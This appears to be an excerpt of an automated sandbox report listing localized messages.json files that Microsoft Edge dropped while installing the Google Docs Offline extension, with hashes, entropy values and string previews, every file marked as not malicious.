Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\nn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
